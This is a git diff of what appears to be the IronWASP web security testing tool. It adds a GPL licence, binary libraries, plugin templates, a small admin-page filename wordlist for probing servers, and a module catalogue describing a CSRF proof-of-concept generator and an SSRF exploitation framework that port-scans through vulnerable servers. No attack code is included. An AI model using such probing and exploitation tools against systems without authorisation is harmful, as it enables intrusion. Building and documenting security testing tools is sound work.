the schedule specified until Fiddler begins to close at which + point all work stops. + + Note that the callback occurs on a background thread. + + The underlying timer's interval is 1 second. + + + + I think a significant part of the reason that this class exists is that I thought the System.Threading.Timer consumed one thread for each + timer. In reality, per "CLR via C# 4e" all of the instances share one underlying thread and thus my concern was misplaced. Ah well. + + + + + Assigns a "job" to the Periodic worker, on the schedule specified by iMS. + + The function to run on the timer specified. + Warning: the function is NOT called on the UI thread, so use .Invoke() if needed. + The # of milliseconds to wait between runs + A taskItem which can be used to revokeWork later + + + + The ScheduledTasks class allows addition of jobs by name. It ensures that one instance of the named + job will occur at *some* point in the future, between 0 and a specified max delay. + + + + + Under the lock, we enumerate the schedule to find work to do and remove that work from the schedule. + After we release the lock, we then do the queued work. + + + + + + A jobItem represents a Function+Time tuple. The function will run after the given time. + + + + + TickCount at which this job must run. + + + + + Method to invoke to complete the job + + + + diff --git a/FileNamesDictionary.txt b/FileNamesDictionary.txt new file mode 100644 index 0000000..a80e66d --- /dev/null +++ b/FileNamesDictionary.txt @@ -0,0 +1,3 @@ +crossdomain.xml +admin.php +admin.aspx diff --git a/HtmlAgilityPack.dll b/HtmlAgilityPack.dll new file mode 100644 index 0000000..b0692c1 Binary files /dev/null and b/HtmlAgilityPack.dll differ diff --git a/ICSharpCode.TextEditor.dll b/ICSharpCode.TextEditor.dll new file mode 100644 index 0000000..8e55eba Binary files /dev/null and b/ICSharpCode.TextEditor.dll differ diff --git a/Ionic.Zip.dll b/Ionic.Zip.dll new file mode 100644 index 0000000..95fa928 Binary files /dev/null and b/Ionic.Zip.dll differ diff --git a/Iron.vshost.exe.manifest b/Iron.vshost.exe.manifest new file mode 100644 index 0000000..061c9ca --- /dev/null +++ b/Iron.vshost.exe.manifest @@ -0,0 +1,11 @@ + + + + + + + + + + + diff --git a/IronConfig.exe b/IronConfig.exe new file mode 100644 index 0000000..eace8bc Binary files /dev/null and b/IronConfig.exe differ diff --git a/IronDataView.dll b/IronDataView.dll new file mode 100644 index 0000000..cddbfdf Binary files /dev/null and b/IronDataView.dll differ diff --git a/IronPython.Modules.dll b/IronPython.Modules.dll new file mode 100644 index 0000000..a24e7b8 Binary files /dev/null and b/IronPython.Modules.dll differ diff --git a/IronPython.dll b/IronPython.dll new file mode 100644 index 0000000..b82653f Binary files /dev/null and b/IronPython.dll differ diff --git a/IronRuby.Libraries.YAML.dll b/IronRuby.Libraries.YAML.dll new file mode 100644 index 0000000..44a6de7 Binary files /dev/null and b/IronRuby.Libraries.YAML.dll differ diff --git a/IronRuby.Libraries.dll b/IronRuby.Libraries.dll new file mode 100644 index 0000000..b0d5b42 Binary files /dev/null and b/IronRuby.Libraries.dll differ diff --git a/IronRuby.dll b/IronRuby.dll new file mode 100644 index 0000000..fcf4007 Binary files /dev/null and b/IronRuby.dll differ diff --git a/IronWASP.exe b/IronWASP.exe new file mode 100644 index 0000000..ba5f87d Binary files /dev/null and b/IronWASP.exe differ diff --git a/IronWASP.pdb b/IronWASP.pdb new file mode 100644 index 0000000..14c5334 Binary files /dev/null and b/IronWASP.pdb differ diff --git a/IronWASP.vshost.exe b/IronWASP.vshost.exe new file mode 100644 index 0000000..6b75e05 Binary files /dev/null and b/IronWASP.vshost.exe differ diff --git a/IronWASP.vshost.exe.manifest b/IronWASP.vshost.exe.manifest new file mode 100644 index 0000000..061c9ca --- /dev/null +++ b/IronWASP.vshost.exe.manifest @@ -0,0 +1,11 @@ + + + + + + + + + + + diff --git a/Jint.dll b/Jint.dll new file mode 100644 index 0000000..98e2e4f Binary files /dev/null and b/Jint.dll differ diff --git a/LICENSE.txt b/LICENSE.txt new file mode 100644 index 0000000..20d40b6 --- /dev/null +++ b/LICENSE.txt @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. \ No newline at end of file diff --git a/Microsoft.Dynamic.dll b/Microsoft.Dynamic.dll new file mode 100644 index 0000000..c8fee0e Binary files /dev/null and b/Microsoft.Dynamic.dll differ diff --git a/Microsoft.Scripting.Core.dll b/Microsoft.Scripting.Core.dll new file mode 100644 index 0000000..b0c97f2 Binary files /dev/null and b/Microsoft.Scripting.Core.dll differ diff --git a/Microsoft.Scripting.Debugging.dll b/Microsoft.Scripting.Debugging.dll new file mode 100644 index 0000000..b39a623 Binary files /dev/null and b/Microsoft.Scripting.Debugging.dll differ diff --git a/Microsoft.Scripting.ExtensionAttribute.dll b/Microsoft.Scripting.ExtensionAttribute.dll new file mode 100644 index 0000000..4ddf4f9 Binary files /dev/null and b/Microsoft.Scripting.ExtensionAttribute.dll differ diff --git a/Microsoft.Scripting.dll b/Microsoft.Scripting.dll new file mode 100644 index 0000000..aba0cde Binary files /dev/null and b/Microsoft.Scripting.dll differ diff --git a/ModulesDB.exe b/ModulesDB.exe new file mode 100644 index 0000000..504b2b2 --- /dev/null +++ b/ModulesDB.exe @@ -0,0 +1,84 @@ + + + + Analysis + + HAWAS + 0.2 + HAWAS - Hybrid Analyzer for Web Application Security + Lavakumar Kuppan + https://github.com/lavakumar/hawas + no + no + no + A tool for analyzing the HTTP Proxy logs inside IronWASP and identifying interesting patterns and information. HAWAS identifies and decodeds encoded parameter values. Identifies and attempts to crack hashed parameter values. Highlights areas where user input might be stored on the server and reflected back as they are potential stored XSS candidates. It also lists all the parameter names and parameter values from the log for easy analysis by the tester. + + + + SAP Security + + IronSAP + 0.2 + IronSAP - SAP Security Scanner + Prasanna K + https://github.com/prasanna2204/IronSAP + no + yes + yes + https://github.com/prasanna2204/IronSAP + + + + Scanners + + SSLSecurityChecker + 0.1 + SSL Security Checker + Manish Saindane + https://github.com/GDSSecurity/SSLSecurityChecker + no + no + no + This is ported from the code found at http://www.bolet.org/TestSSLServer/ which was written by Thomas Pornin [pornin@bolet.org]. All credits for the orignal code goes to him. + + + + Utilities + + BodySaver + 0.1 + BodySaver - Save the body of the selected response to a file + Lavakumar Kuppan + https://github.com/lavakumar/bodysaver + yes + no + no + Saves the body of the response on which this module was run to a file of the user's choosing. + + + + Exploitation + + CSRFPOCGenerator + 0.2 + CSRF PoC Generator - Creates HTML file to recreate selected request from the browser + Jayesh Singh Chauhan @jayeshsch + https://github.com/jayeshchauhan + yes + no + no + Create a PoC for CSRF attacks in a split second. Right click any log and run this module to create a HTML file. When this file is opened from the browser, the browser will send a request similar to the one on which this module was run. It supports requests that have normal body format and also JSON and XML request body formats. + + + Skanda + 0.1 + OWASP Skanda - SSRF Exploitation Framework + Jayesh Singh Chauhan @jayeshsch + https://www.owasp.org/index.php/OWASP_Skanda_SSRF_Exploitation_Framework + yes + no + no + Performs port scan on a server vulnerable to Server-side Request Forgery vulnerability(SSRF). Right click on any log and run this module. Select the vulnerable injection points(GET/POST parameters) and session plugins if any are required. Port Status will be printed in the CLI. + + + \ No newline at end of file diff --git a/NewPythonActivePluginTemplate.txt b/NewPythonActivePluginTemplate.txt new file mode 100644 index 0000000..6dab6e4 --- /dev/null +++ b/NewPythonActivePluginTemplate.txt @@ -0,0 +1,15 @@ +from IronWASP import * +from System import * +import clr + +#Inherit from the base ActivePlugin class +class (ActivePlugin): + + #Override the Check method of the base class with custom functionlity + def Check(self, req, scnr): + + +p = () +p.Name = "Name of the Plugin inside Iron. Pick a short name without spaces and special characters like 'XSS', 'SQLi' etc. Name must be unique across all plugins" +p.Description = "Short Description of the Plugin, displayed in the Plugins section" +ActivePlugin.Add(p) diff --git a/NewPythonFormatPluginTemplate.txt b/NewPythonFormatPluginTemplate.txt new file mode 100644 index 0000000..bd39fb5 --- /dev/null +++ b/NewPythonFormatPluginTemplate.txt @@ -0,0 +1,37 @@ +from IronWASP import * +from System import * +import clr + +#Inherit from the base FormatPlugin class +class (FormatPlugin): + + #Override the ToXmlFromRequest method of the base class with custom functionlity. Convert RequestBody in to Xml String and return it + def ToXmlFromRequest(self, req): + return self.ToXml(req.BodyArray) + + #Override the ToXmlFromResponse method of the base class with custom functionlity. Convert ResponseBody in to Xml String and return it + def ToXmlFromResponse(self, res): + return self.ToXml(res.BodyArray) + + #Override the ToXml method of the base class with custom functionlity. Convert ByteArray in to Xml String and return it + def ToXml(self, object_array): + + + #Override the ToRequestFromXml method of the base class with custom functionlity. Update Request based on Xml String input and return it + def ToRequestFromXml(self, req, xml): + req.BodyArray = self.ToObject(xml) + return req + + #Override the ToResponseFromXml method of the base class with custom functionlity. Update Response based on Xml String input and return it + def ToResponseFromXml(self, res, xml): + res.BodyArray = self.ToObject(xml) + return res + + #Override the ToObject method of the base class with custom functionlity. Convert the XmlString in to an Object and return it as ByteArray + def ToObject(self, xml_string): + + +p = () +p.Name = "Name of the Plugin inside Iron. Pick a short name without spaces and special characters like 'DoublePipeSeperator','CustomResponseBody' etc. Name must be unique across all plugins" +p.Description 